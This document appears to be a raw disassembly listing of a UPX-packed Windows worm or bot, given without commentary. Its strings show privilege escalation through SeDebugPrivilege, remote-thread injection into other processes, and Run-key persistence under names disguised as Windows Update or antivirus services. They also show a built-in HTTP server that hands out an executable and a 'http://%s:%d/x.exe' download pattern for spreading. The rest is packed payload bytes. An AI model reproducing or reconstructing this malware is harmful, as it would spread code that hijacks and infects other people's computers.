esp pop esp loc_31434CA2: ; CODE XREF: UPX0:31434C9Aj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_31434CAC dd 1CEC8166h dword_31434CB0 dd 0E4FF07h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_31431F23+62o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_31431F23+39o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_31431F23+2Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_31431F23+1Bo align 4 aAdvapi32 db 'advapi32',0 ; DATA XREF: sub_31431F23+8o ; sub_3143256D+13Ao align 4 aUterm192 db 'uterm19-2',0 ; DATA XREF: sub_31431FAB:loc_31432090o align 4 aShell_traywnd db 'Shell_TrayWnd',0 ; DATA XREF: sub_31431FAB+58o align 4 aCreateremoteth db 'CreateRemoteThread',0 ; DATA XREF: sub_31431FAB:loc_31431FF2o align 4 aVirtualallocex db 'VirtualAllocEx',0 ; DATA XREF: sub_31431FAB+34o align 4 aKernel32 db 'kernel32',0 ; DATA XREF: sub_31431FAB+18o align 4 dword_31434D64 dd 0E9F3F5h aHttp1_1200Ok db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31432239+106o db 0Dh,0Ah db 0Dh,0Ah,0 align 10h aContentLengthU db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_31432239+85o db 0Dh,0Ah,0 align 4 aHttp1_1200OkCo db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31432239+71o db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0 align 4 aGet db 'GET',0 ; DATA XREF: sub_31432239+3Do aUterm20 db 'uterm20',0 ; DATA XREF: UPX0:3143250Co ; sub_3143256D+148o aFtpupd_exe db 'ftpupd.exe',0 ; DATA XREF: UPX0:314324F7o align 10h aUser32 db 'user32',0 ; DATA XREF: sub_3143256D+141o align 4 aMsvcrt db 'msvcrt',0 ; DATA XREF: sub_3143256D+133o align 10h aWininet db 'wininet',0 ; DATA XREF: sub_3143256D+12Co aWs2_32 db 'ws2_32',0 ; DATA XREF: sub_3143256D+11Fo align 10h aU20x db 'u20x',0 ; DATA XREF: sub_3143256D+CBo align 4 aU20 db 'u20',0 ; DATA XREF: sub_3143256D+C4o aU19 db 'u19',0 ; DATA XREF: sub_3143256D+BDo aU18 db 'u18',0 ; DATA XREF: sub_3143256D+B6o aU17 db 'u17',0 ; DATA XREF: sub_3143256D+AFo aU16 db 'u16',0 ; DATA XREF: sub_3143256D+A8o aU15 db 'u15',0 ; DATA XREF: sub_3143256D+A1o aU14 db 'u14',0 ; DATA XREF: sub_3143256D+9Ao aU13i db 'u13i',0 ; DATA XREF: sub_3143256D+93o align 4 aU13 db 'u13',0 ; DATA XREF: sub_3143256D+8Co aU12 db 'u12',0 ; DATA XREF: sub_3143256D+85o aU11 db 'u11',0 ; DATA XREF: sub_3143256D+7Eo aU10 db 'u10',0 ; DATA XREF: sub_3143256D+77o aU9 db 'u9',0 ; DATA XREF: sub_3143256D+70o align 10h aU8 db 'u8',0 ; DATA XREF: sub_3143256D+69o align 4 aU19x db 'u19x',0 ; DATA XREF: sub_3143256D+62o align 4 aU18x db 'u18x',0 ; DATA XREF: sub_3143256D+5Bo align 4 aU17x db 'u17x',0 ; DATA XREF: sub_3143256D+54o align 4 aU16x db 'u16x',0 ; DATA XREF: sub_3143256D+4Do align 4 aU15x db 'u15x',0 ; DATA XREF: sub_3143256D+46o align 4 aU14x db 'u14x',0 ; DATA XREF: sub_3143256D+3Fo align 4 aU13x db 'u13x',0 ; DATA XREF: sub_3143256D+38o align 4 aU12x db 'u12x',0 ; DATA XREF: sub_3143256D+31o align 4 aU11x db 'u11x',0 ; DATA XREF: sub_3143256D+2Ao align 4 aU10x db 'u10x',0 ; DATA XREF: sub_3143256D+23o align 4 aHttpSDX_exe db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_314328D7+2Do align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_3143237F+23o ; sub_31432BAD+66o ... align 4 aCryptographicS db 'Cryptographic Service',0 ; DATA XREF: sub_3143237F+1Co ; sub_31432C62+87o ... align 10h aXaurqzwplbcgiu db 'xaurqzwplbcgiuqi',0 ; DATA XREF: sub_31431782+4Fo ; sub_31432D2E+57o ... align 8 aSoftwareMicr_1 db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_31432D2E+32o aClient db 'Client',0 ; DATA XREF: sub_31432D2E+BCo ; sub_31432D2E+F8o align 4 aId db 'ID',0 ; DATA XREF: sub_31432D2E+37o ; sub_31432D2E+75o align 10h aWindowsUpdate db 'Windows Update',0 ; DATA XREF: sub_31432BAD+55o align 10h aMsConfigV13 db 'MS Config v13',0 ; DATA XREF: sub_31432BAD+4Eo align 10h aAvserve2_exeup db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_31432BAD+47o align 4 aAvserve_exe db 'avserve.exe',0 ; DATA XREF: sub_31432BAD+40o aWindowsUpdateS db 'Windows Update Service',0 ; DATA XREF: sub_31432BAD+39o align 10h aWinupdate db 'WinUpdate',0 ; DATA XREF: sub_31432BAD+32o align 4 aSystray db 'SysTray',0 ; DATA XREF: sub_31432BAD+2Bo aBotLoader db 'Bot Loader',0 ; DATA XREF: sub_31432BAD+24o align 10h aSystemRestoreS db 'System Restore Service',0 ; DATA XREF: sub_31432BAD+1Do align 4 aDiskDefragment db 'Disk Defragmenter',0 ; DATA XREF: sub_31432BAD+16o align 4 aWindowsSecurit db 'Windows Security Manager',0 ; DATA XREF: sub_31432BAD+Fo align 4 a1: ; DATA XREF: sub_31432D2E+B7o unicode 0, <1>,0 dd 7 dup(0) dword_31435028 dd 0 ; sub_3143237F+80w dword_3143502C dd 0 ; sub_3143185D+53o ... dword_31435030 dd 0 ; sub_31432239:loc_314322E7r ... dword_31435034 dd 68h ; UPX0:31432517w ... dword_31435038 dd 0 ; sub_3143256D+DCw dword_3143503C dd 0 ; sub_314328D7+20r dword_31435040 dd 31430000h ; UPX0:314324FCw dword_31435044 dd 0 ; sub_3143185D+4Ao ... dword_31435048 dd 0 ; UPX0:31432974w ... dword_3143504C dd 0 ; sub_31432728+41r ... dword_31435050 dd 0 ; sub_31432D2E+110w align 1000h UPX0 ends ; Section 2. (virtual address 00006000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00006000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 31436000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31436000 dd 0C4h, 40h, 72695601h, 6C617574h, 65657246h, 69560100h ; DATA XREF: UPX1:31437C81o dd 61757472h, 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh dd 6C694665h, 6D614E65h, 1004165h, 7274736Ch, 69706D63h dd 43010041h, 4679706Fh, 41656C69h, 69570100h, 6578456Eh dd 43010063h, 74616572h, 6F6F5465h, 6C65686Ch, 53323370h dd 7370616Eh, 746F68h, 6F725001h, 73736563h, 69463233h dd 747372h, 72655401h, 616E696Dh, 72506574h, 7365636Fh dd 50010073h, 65636F72h, 32337373h, 7478654Eh, 736C0100h dd 70637274h, 1004179h, 61657243h, 76456574h, 41746E65h dd 61570100h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h dd 44010074h, 74656C65h, 6C694665h, 1004165h, 4C746547h dd 45747361h, 726F7272h, 72570100h, 46657469h, 656C69h dd 6F6C4301h, 61486573h, 656C646Eh, 72430100h, 65746165h dd 656C6946h, 6C010041h, 6C727473h, 416E65h, 74736C01h dd 74616372h, 47010041h, 79537465h, 6D657473h, 65726944h dd 726F7463h, 1004179h, 65746E49h, 636F6C72h, 4564656Bh dd 61686378h, 65676Eh, 74654701h, 61636F4Ch, 6E49656Ch dd 416F66h, 656C5301h, 1007065h, 7274736Ch, 6E797063h dd 47010041h, 75437465h, 6E657272h, 6F725074h, 73736563h dd 65470100h, 6F725074h, 64644163h, 73736572h, 6F4C0100h dd 694C6461h, 72617262h, 1004179h, 74697257h, 6F725065h dd 73736563h, 6F6D654Dh, 1007972h, 6E65704Fh, 636F7250h dd 737365h, 74654701h, 75646F4Dh, 6148656Ch, 656C646Eh dd 47010041h, 69547465h, 6F436B63h, 746E75h, 65724301h dd 4D657461h, 78657475h, 43010041h, 74616572h, 72685465h dd 646165h, 65724301h, 50657461h, 65636F72h, 417373h, 74655301h dd 6E657645h, 4F010074h, 456E6570h, 746E6576h, 45010041h dd 54746978h, 61657268h, 49010064h, 7265746Eh, 6B636F6Ch dd 6E496465h, 6D657263h, 746E65h, 61655201h, 6C694664h dd 47010065h, 69467465h, 6953656Ch, 100657Ah, 74697845h dd 636F7250h, 737365h, 0D100h, 0 dd 65520100h, 65724367h, 4B657461h, 78457965h, 52010041h dd 65536765h, 6C615674h, 78456575h, 52010041h, 75516765h dd 56797265h, 65756C61h, 417845h, 67655201h, 6E65704Fh dd 4579654Bh, 1004178h, 44676552h, 74656C65h, 6C615665h dd 416575h, 67655201h, 736F6C43h, 79654B65h, 62410100h dd 5374726Fh, 65747379h, 7568536Dh, 776F6474h, 100416Eh dd 70797243h, 65724374h, 48657461h, 687361h, 79724301h dd 61487470h, 61446873h, 1006174h, 70797243h, 72655674h dd 53796669h, 616E6769h, 65727574h, 43010041h, 74707972h dd 74736544h, 48796F72h, 687361h, 79724301h, 65447470h dd 6F727473h, 79654B79h, 72430100h, 52747079h, 61656C65h dd 6F436573h, 7865746Eh, 43010074h, 74707972h, 75716341h dd 43657269h, 65746E6Fh, 417478h, 79724301h, 6D497470h dd 74726F70h, 79654Bh, 0DE00h, 0EC00h, 72730100h, 646E61h dd 6D656D01h, 797063h, 72747301h, 6E656Ch, 6D656D01h, 746573h dd 6E617201h, 5F010064h, 65637865h, 685F7470h, 6C646E61h dd 337265h, 72747301h, 727473h, 6F746101h, 73010069h, 68637274h dd 0E9000072h, 14000000h, 1000001h, 646E6946h, 646E6957h dd 41776Fh, 74654701h, 65726F46h, 756F7267h, 6957646Eh dd 776F646Eh, 65470100h, 6E695774h, 54776F64h, 61657268h dd 6F725064h, 73736563h, 1006449h, 72707377h, 66746E69h dd 0F4000041h, 28000000h, 1000001h, 65746E49h, 74656E72h dd 6E65704Fh, 416C7255h, 6E490100h, 6E726574h, 704F7465h dd 416E65h, 746E4901h, 656E7265h, 6F6C4374h, 61486573h dd 656C646Eh, 6E490100h, 6E726574h, 65477465h, 6E6F4374h dd 7463656Eh, 74536465h, 657461h, 746E4901h, 656E7265h dd 61655274h, 6C694664h, 65h, 40000001h, 0FF000001h, 2FF0073h dd 0DFF00h, 0FF0001FFh, 6FFF0039h, 34FF00h, 0FF0017FFh dd 9FF000Ch, 4FF00h, 0FF0013FFh, 16FF0010h, 3FF00h, 0 dd 455000h, 2014C00h, 0E07ED200h, 40h, 0 dd 0F00E000h, 6010B01h, 280000h, 120000h, 0 dd 24EF00h, 100000h, 400000h, 43000000h, 100031h, 20000h dd 400h, 0 dd 400h, 0 dd 600000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 2F0400h, 8C00h, 14h dup(0) dd 100000h, 18000h, 6 dup(0) dd 65742E00h, 7478h, 263200h, 100000h, 280000h, 40000h dd 3 dup(0) dd 4002000h, 61642EE0h, 6174h, 105400h, 400000h, 120000h dd 2C0000h, 3 dup(0) dd 4000h, 5000C0h, 311000h, 54C900h, 57965900h, 6849FAFAh dd 0B7000E29h, 844F4CCFh, 0A2623FE0h, 0DC24106Ah, 0DED1BA53h dd 44810B66h, 5F0DC766h, 0B73BD68h, 0E4D6E6CDh, 0DE196664h dd 164C2621h, 0FC5644DEh, 31E07589h, 51B36968h, 3EA2E2Eh dd 0C8BF9C37h, 0E89C3A7h, 6CD8E087h, 770D7C13h, 0A8433716h dd 18D3B345h, 9B6BDB07h, 0F88C0D0Bh, 49190640h, 73F27046h dd 6A9821CDh, 4634332Eh, 17273C8h, 37E0DE64h, 3010CCDFh dd 8C0F4608h, 0D0BD8027h, 740B89E5h, 0C5803126h, 43089D01h dd 0D0EECD70h, 0BC3C0007h, 115690F0h, 0B66061EEh, 0AA425F0Ch dd 0C1FF15Ch, 11784396h, 0C9EC0CB3h, 9705C87Ch, 0F8786E0Ah dd 894BE6A1h, 25620546h, 0DA46568h, 0AEC28B6Dh, 92A2043Bh dd 3CF01Ch, 27BE83Bh, 100BC86Ah, 4824A32Eh, 86024A19h dd 0A0CF6043h, 2163390h, 0B9AEBB03h, 0A73D7D95h, 769F6801h dd 664A48E6h, 3A21B736h, 1B5AB7CCh, 3DB9A4E0h, 6A7684E4h dd 96F42A70h, 364719B4h, 5EC86007h, 7A97640Ah, 39F0D92Eh dd 0A2280084h, 3C4B283Fh, 0CDCB59B2h, 98B9B26Ch, 23BDEBE2h dd 0DC0167A7h, 0C77E500Fh, 0BE1F218Dh, 0AC68F60Eh, 0D328C00Dh dd 0C676E6C9h, 0E57A08A1h, 0DB0C7A04h, 0C8611488h, 2DC54C20h dd 6C84BF34h, 2EDB1CD6h, 0B698DE40h, 4192FC84h, 40BCDE44h dd 0C27190D6h, 1BDE5044h, 593B1E10h, 94B7336Fh, 8121970Dh dd 67E9ACF9h, 0E87CFEEBh, 1624A580h, 68250600h, 259D1C52h dd 1CF25B07h, 96F41276h, 0A19DE9C3h, 4F0CEF1Bh, 7BC87C6Ah dd 64B1E3C3h, 0C9BE4934h, 991DD27Bh, 90E154E4h, 0B42DE924h dd 48B9B999h, 0EDCF7881h, 0C80A5848h, 0CF88286h, 6633F415h dd 2665846h, 7808747Ah, 41BA9D5Fh, 5FF4C65Eh, 7D1C0F8Ah dd 9C1369E0h, 0AC204D0Ch, 0C0A8357Fh, 5F68683h, 572448F8h dd 565FC937h, 5A7457D8h, 74F80E14h, 0B8C8684Bh, 0CA8950BAh dd 0E83D7496h, 4B4B3F6Ch, 0A44120C9h, 0FFC55FFh, 0F6B9ADE8h dd 50E4B92Ch, 0E9628ACh, 0CCDA6AD9h, 0F81B02F0h, 0E48C0009h dd 81DB40ACh, 42F47558h, 29C587EEh, 8B181F13h, 6701400Dh dd 0BFEEFFB6h, 3C418B2Fh, 68C10357h, 488B9758h, 50788B34h dd 0A0F44D89h, 8D759CB8h, 1BDBD84Bh, 0BEF09153h, 0B002F0ACh dd 4751EB01h, 0ED74EC12h, 1AC55A0Ch, 0D7240Dh, 9300CA82h dd 18090E6Dh, 0B22ECDEh, 0F84DAFDFh, 1C185051h, 412A6897h dd 8958D8ABh, 60FE5DB4h, 0CAD2C68Bh, 1C346B03h, 0B7680630h dd 59AB1976h, 0BE7DF055h, 135BAB62h, 0F03E45E6h, 0DC50EF51h dd 34EC5F13h, 34A110B0h, 0FFFAD6BDh, 172783C4h, 5577D06Ah dd 74C73BECh, 805F8C78h, 1BEB1605h, 684D1868h, 3959E010h dd 0E5CC857h, 8D405FCh, 0F8041D74h, 0FC58EFA2h, 4251511Dh dd 2F0DC32Bh, 69310F60h, 41B60D10h, 0BC258964h, 22B1AFDDh dd 138575D6h, 590FECB2h, 5D33DB2Dh, 6AF9C267h, 803CC0B6h dd 624EE90Ch, 50A85089h, 0C42C507Dh, 0AC297488h, 8020195Dh dd 0B3F8B55Bh, 7C8B5743h, 57D21424h, 67FFF7Eh, 1A87178Bh dd 8861C280h, 3B461E14h, 80E97CF7h, 0E030E036h, 4A003B24h dd 86444954h, 2EDB78CEh, 57AC5A5Fh, 2166DB56h, 303A5DCh dd 0F0DC732Fh, 25B81950h, 648D62h, 0E377ACAAh, 954D04F0h dd 49F408C8h, 0DBA32668h, 0F00CFADAh, 3408C7FFh, 0DA65B27Bh dd 2E2ACC34h, 0A0A7550h, 666B5CE8h, 1A20BC54h, 0B7ED5818h dd 7C64F85h, 13B7FB8h, 0C408B14h, 2C01008Bh, 86F8E76h dd 24448D51h, 1134215Fh, 9A7C2D3h, 245903DBh, 0BBD01507h dd 7743A19Eh, 2FCC2007h, 3233E433h, 0F8C83FDBh, 8510E7C1h dd 0A05B60Bh, 200CD86h, 0CF125D8Bh, 1C0BABECh, 7FC20099h dd 7B55C653h, 139E2416h, 0C0934521h, 25AAECF0h, 6E5D868h dd 5B4ECF20h, 17B5ADE7h, 675641F0h, 35953336h, 0A33D986Ch dd 8CC6EC66h, 503044B7h, 0B370FE47h, 4D80C581h, 0EBDA14A5h dd 54B3174Eh, 0A134007Ch, 37FBAE33h, 7900B9F0h, 0C13BC72Bh dd 0C18B0272h, 0FC292BE1h, 0A1DDBDDDh, 0C7031828h, 1374AC23h dd 1172233Dh, 4678516Ah, 40F8784Bh, 0EC13C4EBh, 0E1B462D9h dd 0D8117750h, 0DC9A941Eh, 68159E4Dh, 68030B68h, 9B6B3A64h dd 3A3C97C5h, 8F535453h, 52CC7D18h, 9824D483h, 0C423347Dh dd 30DE04C2h, 4FB2F457h, 0B1B1087Dh, 0E868C3D0h, 168EE4Eh dd 0B8BAAFDEh, 89FF6806h, 0ED04841Dh, 0D4244BA9h, 539100F2h dd 9886937Bh, 3A01026Dh, 1CD680A6h, 0FD775A8Dh, 0E741A4Dh dd 2F6946CFh, 0CA3E0CDh, 0ACEF4BC2h, 0A4FEA365h, 565153FCh dd 635B3A5Bh, 68DC3A86h, 87DF2656h, 5EF9119Bh, 10C25C19h dd 1B4D424Ch, 56C05E05h, 9DFD0C4Bh, 89E8D2F4h, 50DEC5Dh dd 1FFF25FFh, 0BEEC1BFDh, 0A3C33A04h, 0E774433Ch, 84CC8A1Fh dd 50DF74C9h, 937ABE3h, 5F42EA6Bh, 4C85A544h, 646530B7h dd 0B97B480Ch, 5F7D35FBh, 1FD814F8h, 68B1114Ch, 0D9C22239h dd 9111D5Bh, 53E2EB62h, 0CC455FCFh, 4384B982h, 0B6700190h dd 0AE3AF759h, 0D6B03340h, 36023E11h, 0E687A60Fh, 0B8803AD6h dd 3044E468h, 0A3AB1B63h, 7C74E040h, 4AB27633h, 34A37B69h dd 767B781Ah, 0B73D6182h, 29E44552h, 43041F0Fh, 1BB37D9Ch dd 682A1DA9h, 0A713256Dh, 13ED7ED1h, 1586EB0Dh, 35699969h dd 0AC188438h, 397044C6h, 4B104D40h, 0D290E409h, 3372396Ch dd 88454ADCh, 8C06EF9Ch, 238C9094h, 941C8E47h, 9C7C9884h dd 0E472A074h, 0A46C91C8h, 0AC5CA864h, 1C8E4754h, 0B450B039h dd 0BC48B84Ch, 91C8E444h, 0C440C023h, 8E34C83Ch, 0CC72391Ch dd 0D42CD030h, 0C724D828h, 0DC472391h, 0E41CE020h, 76CD9018h dd 9C10C780h, 0A36CE145h, 7ADB72F1h, 2FCBEECh, 730A8384h dd 0B806ED12h, 4F8442B4h, 59B8885h, 9B0CFF59h, 0EBD9C870h dd 0B00E1AE8h, 0E0F91A6Ah, 95391A17h, 8683974h, 32ACB94Eh dd 45936C72h, 0F8064E00h, 21760C4Dh, 0A8F07261h, 49BF140Ah dd 79B7676Eh, 0EF15237Fh, 0F1185D0Ah, 33C822E0h, 559C5029h dd 0D747E90Fh, 18B4146Dh, 0AA138806h, 1412E3EBh, 17A7049Eh dd 0DBA3BD23h, 63123818h, 7FA48071h, 8FD5BDh, 458A4FBBh dd 0FF77530Bh, 83DBDB32h, 3A518701h, 5D3831D9h, 0E93125DBh dd 5D88E291h, 0B8099D0Bh, 80CF1559h, 4CB72CDFh, 0F1F7D233h dd 0FE9BD103h, 0CB65EBC3h, 0FFFB80F8h, 60C6BD72h, 1C0F5674h dd 7A303876h, 41586667h, 4F870ADBh, 40A7F05h, 3B6B3618h dd 9A0B0918h, 17692573h, 0F758BECh, 37272804h, 0AC01D0C8h dd 8147822Bh, 6CE27695h, 4C9FA16Ah, 7A595D5Eh, 2CD74CAEh dd 0F0A26472h, 7832DB7Ch, 0FD720A2Eh, 35F8FF04h, 0FEF42Fh dd 0F7887F3Ch, 0B18BB06Ah, 4D8B6C3h, 0A9DCFD3Bh, 0EC04A23Eh dd 579F6764h, 9B572F9Dh, 4B3DB21Ch, 1359F8E0h, 4A36FF8Ah dd 0B2C54ADCh, 68FCEE75h, 0C8EC3C27h, 0BDD3A21Ah, 70849ED3h dd 1C180961h, 4C5AA537h, 52AD630h, 508FCC4Fh, 18B6BD78h dd 0FC68BAE3h, 67B7C156h, 0B3C443Eh, 0A468B003h, 0DCB71E4Eh dd 11104580h, 6842E231h, 12F7D70h, 0B80C613h, 0C0B343DFh dd 5579BB02h, 8E579756h, 663C344h, 4D1DE6BCh, 30E26CA4h dd 0FD1F0C43h, 53146CF4h, 483776CDh, 20BF66Bh, 4838506Ah dd 76D9A65Dh, 0D005C7DFh, 1974F896h, 9D01480Bh, 0BDDCCE60h dd 141A055Eh dd 0E103D851h, 1806DE27h, 0C9FB81D3h, 0D6530D74h, 0B6844203h dd 1D1053C7h, 0DB04C3Bh, 1824C37Dh, 0ED85ED3Ch, 10B1117Eh dd 0EED82C28h, 144DEDB0h, 0A40598EFh, 200DF2EBh, 75324B74h dd 6DDEB65h, 0EB45C0B0h, 27D53F68h, 60B11BA2h, 0B5150C64h dd 43A5106Fh, 14083BE8h, 6CD7513Bh, 18D4C859h, 18430856h dd 31883EF6h, 3D566C2Eh, 0A52ADC74h, 4DE702DBh, 2050DF61h dd 4E05B110h, 3081896h, 6B0F5EB6h, 557E2CD1h, 0FAEDC68Bh dd 6764C82Eh, 532C56ADh, 67005556h, 270C422Dh, 0C520A31h dd 2C81C931h, 0C45D0C04h, 0BB679061h, 0E0530128h, 0F40B89FBh dd 8E3D4E2Dh, 1E3C4094h, 1F10365Ch, 794E7A1Ch, 0F8E510F7h dd 0EB778B64h, 687AA239h, 17D86635h, 0B13B3Bh, 2005C710h dd 0A24F7789h, 7DF21E99h, 1E748D47h, 0BD02609Bh, 0AE48FCA2h dd 0FE8194DCh, 0B5FF1C2Ah, 0FFF51EFh, 0E6CCCD1Fh, 60085282h dd 0D5CCE50h, 76EC4687h, 3CB787BDh, 89D0D036h, 0B457E273h dd 23914FECh, 6D846C7h, 0B4D8C0D4h, 0C8E47239h, 0A0E0ACDCh dd 7CE888E4h, 1C8E4730h, 50F060ECh, 45F340F4h, 86B764D3h dd 0BE70BF0Bh, 8B858E85h, 188B8A05h, 0A0406C49h, 8357C491h dd 0F4D50E17h, 1D101B05h, 8340F10Bh, 326A8452h, 0A775BFAFh dd 4D84628Ah, 74767830h, 5D74B409h, 653FA8CCh, 0A5636A88h dd 0FE0B84C8h, 28A19C09h, 8303E083h, 866305C0h, 5BD3CAA3h dd 51CFC42Ah, 10B9186Eh, 661C3D1Eh, 0D6CE9DEEh, 3F140E26h dd 3D9A0497h, 0D56150E8h, 1425A00Bh, 0CD4B4D21h, 0D2415662h dd 7D09E592h, 19419836h, 0C401F454h, 2E987A04h, 0AB8BE407h dd 0B408B9F6h, 481FC523h, 436839C7h, 2565140Ch, 84102550h dd 0E04DBFDDh, 0BF501D6Ah, 3C4C4F18h, 0C1D0514Fh, 743F81EAh dd 0BB0A3D37h, 32BD758Ah, 53D942B3h, 60D8B3F4h, 53BC4906h dd 0BDB3383Dh, 0EBB17EE6h, 32CE590Fh, 65B068B6h, 0E227A0C1h dd 0D12A0E65h, 58C22638h, 0D9B9DA18h, 0BB4634B2h, 5E1C0DB9h dd 0EB05066h, 57125E1Eh, 964EC6F0h, 0C6314CEEh, 0B6413BBBh dd 2CFD90CCh, 90B650B6h, 480718B7h, 6015EB0Ch, 2D1880E5h dd 0AF2509CDh, 5D32BA1Eh, 44330C69h, 0EC5B3D5Ch, 6A7E6883h dd 0CC401113h, 84D0A99Bh, 311BFF00h, 661DF805h, 0F4109E46h dd 0BE511FF0h, 0B048D56Fh, 1472048Dh, 2D0BE981h, 0FD8FEDF5h dd 17018504h, 0C82BEC73h, 8B0CC48Bh, 0D8088BE1h, 0FF6ED6C8h dd 435C5004h, 4055C64h, 58D8D800h, 0A3000049h, 420900A8h dd 6C5D2FCh, 5224F102h, 80314153h, 0FFFFFFC8h, 0F50101DDh dd 7911838Dh, 0E42AEC52h, 49E7F63Ah, 0BEE0EA9Bh, 7EDB21AFh dd 5E1A9544h, 0FFFFFFE8h, 85A03261h, 949F6A1Fh, 843994FFh dd 358F26A6h, 0A55C1DCEh, 7AB20BC9h, 0FF307265h, 377FFFFFh dd 697A6F4Dh, 2F616C6Ch, 20302E34h, 6D6F6328h, 69746170h dd 3B656C62h, 49534D20h, 0ED6FFFF7h, 15362045h, 6E695709h dd 73776F64h, 20544E20h, 29312E35h, 2EECF734h, 0C7E445h dd 0C40104D4h, 0F7DF0EB4h, 90A0CF3Ch, 68047480h, 0CF3D580Eh dd 48097CF3h, 30D4743Ch, 9364DF3Ch, 10222045h, 0B600304Ah dd 0F8F90DFFh, 76631340h, 75722E76h, 0D8DB777Eh, 700D6F6h dd 976C6465h, 0C1660F65h, 0EDFFCA65h, 616573FDh, 0E686372h dd 626F721Fh, 6863786Fh, 6F676E61h, 0D2E6EDFFh, 0C74651Fh dd 622E6472h, 61007A69h, 6B686328h, 91B61762h, 740C6D61h dd 24782D06h, 0E6EDB6CDh, 6F6C0600h, 6B37620Eh, 0FBDBF647h dd 27626B6h, 76742E7Ah, 6F74111Bh, 176E2E70h, 30B60215h dd 27730F69h, 3FC2E33h, 0F788DB6h, 6C756461h, 4B652D74h dd 6DDB7269h, 3380CDFBh, 73A66E6Fh, 622E744Eh, 2B01F767h dd 67694F7Ch, 77780032h, 0FECE2C61h, 626AED6Dh, 9B00AD62h dd 6166617Ah, 221F2EA8h, 655DDBE1h, 61AF5C23h, 0F1646362h dd 65FFDBB7h, 69686766h, 6D6C6B6Ah, 7271C56Eh, 777675F7h dd 0FF7A7978h, 54BFFFF2h, 44434241h, 48474645h, 4C4B4A49h dd 504F4E4Dh, 56555451h, 5A595857h, 1B9BFBF8h, 49642563h dd 6F530044h, 5C9E7466h, 706C694Dh, 0F90656BBh, 0DA575C0Dh dd 0FE007374h, 4774E30Fh, 74684F31h, 2F3A7074h, 0C273252Fh dd 0BC0EE6Fh, 2EC3912Fh, 3F706870h, 0EDF9ED3Ah, 260F3DDBh dd 66E6373h, 6E692664h, 0F3B7666h, 3DF6EC76h, 13263032h dd 0EB373D74h, 32313958h, 0BF87B237h, 3101D06Bh, 3030383Ah dd 0DF07652Fh, 80FFFF00h, 5DDF1030h, 0B966C933h, 758D01EEh dd 8AFE8B05h, 6FFFE206h, 7993CDBh, 302C0646h, 88993446h dd 0EDE24707h, 0DAE80AEBh, 0B46FF7FEh, 676507DFh, 9993712Eh dd 0FD1201C9h, 16FD91BDh, 0DFFFEFF7h, 6872C107h, 66FD42AAh dd 0BA10FDAAh, 98A91C14h, 98F3C91Ah, 0FFB308F1h, 2865BB1h dd 9010C071h, 9237CB5Fh, 781C9659h, 0F93ED3Ah, 57E414FBh dd 3A0A7D71h, 9DF34571h, 9D2304F1h, 989BEFBh, 119C04F1h dd 0EF67B340h, 0F3FD8EEDh, 1C10F0E3h, 59B20BDCh, 25C99B60h dd 3D8F9601h, 414D9F6h, 71CA17A1h, 688D2B9Eh, 0EDAD9161h dd 1A4637B3h, 111D960Ah, 0C850B228h, 6D9FED00h, 0DC14996Fh dd 12255557h, 91C0A44Eh, 0FD994912h, 0EDDEDFECh, 140054F7h dd 0CBCA3AC4h, 0FF1C3B71h, 6C21E424h, 1ADD87B3h, 8FCDCDCFh dd 3F812C66h, 0FBB66F1Eh, 0B8B0FB9Fh, 12CDC383h, 0CBC9A85Dh dd 7F64251Dh, 24AD9DB2h, 0A6485A0Bh, 0B314C096h, 1BC9FECBh dd 0EBA7294Ch, 0E9BA9CF3h, 0D9FFF716h, 26F434F7h, 0EFCF571h dd 0EF133BF9h, 376B4629h, 4766DE5Fh, 766FFFEFh, 16A0A8ECh dd 0FFC5B701h, 0E9ECE9EDh, 0E1FCB7FDh, 0FBBFD2Ch, 0F5CA0161h dd 0F25AFCFCh, 0FCF7EBFCh, 0FFABAAF5h, 0D6BFFFE5h, 0AAF934C7h dd 2A25B459h, 0ACC9662Ah, 0B7819093h, 83639D90h, 9271CDC9h dd 67F0BEECh, 3519BF30h, 95D91451h, 2A91720Ah, 0FFFBC871h dd 0D2EB20FFh, 80D512A5h, 0AA529AE1h, 2A8D146Fh, 12B9C89Ah dd 474A9A8Bh, 46FEDFFFh, 9BAB9EEBh, 20A319DBh, 0DDA26CECh dd 9EED85BDh, 81E8A2DFh, 0FDBFFFCDh, 125544EBh, 961FBDC8h dd 12EB8D2Eh, 5A9A85D8h, 9A099D12h, 0BBF8105Ah, 960B09FFh dd 664922D0h, 12FEFD7Fh, 0C25AA987h, 6EDB4095h, 1285026Fh dd 5A910482h, 9CFF7CBh, 0A767F9B9h, 4D53FF85h, 53187242h dd 0F4BFFFC8h, 62FEFFCFh, 43500200h, 575445ABh, 204B524Fh dd 474F5250h, 0ED624152h, 204DE35Bh, 4C17CD31h, 24D4E41h dd 0EB52B70Ah, 3D66D390h, 676B03DFh, 4BB696EBh, 0E707587h dd 27611A33h, 1F2A234Dh, 583274B6h, 32323221h, 5833312Eh dd 18FE66D3h, 8B323C20h, 0C95A25A4h, 7A0773C8h, 0DBEC1B1Ah dd 23FF0Ch, 140A1104h, 0DD40520h, 185DADEh, 4B4C0069h dd 68505353h, 4BE48F6h, 8829772h, 240057E0h, 0EB605DCDh dd 6F30006Eh, 3A73009Dh, 7B7B2274h, 90130B1h, 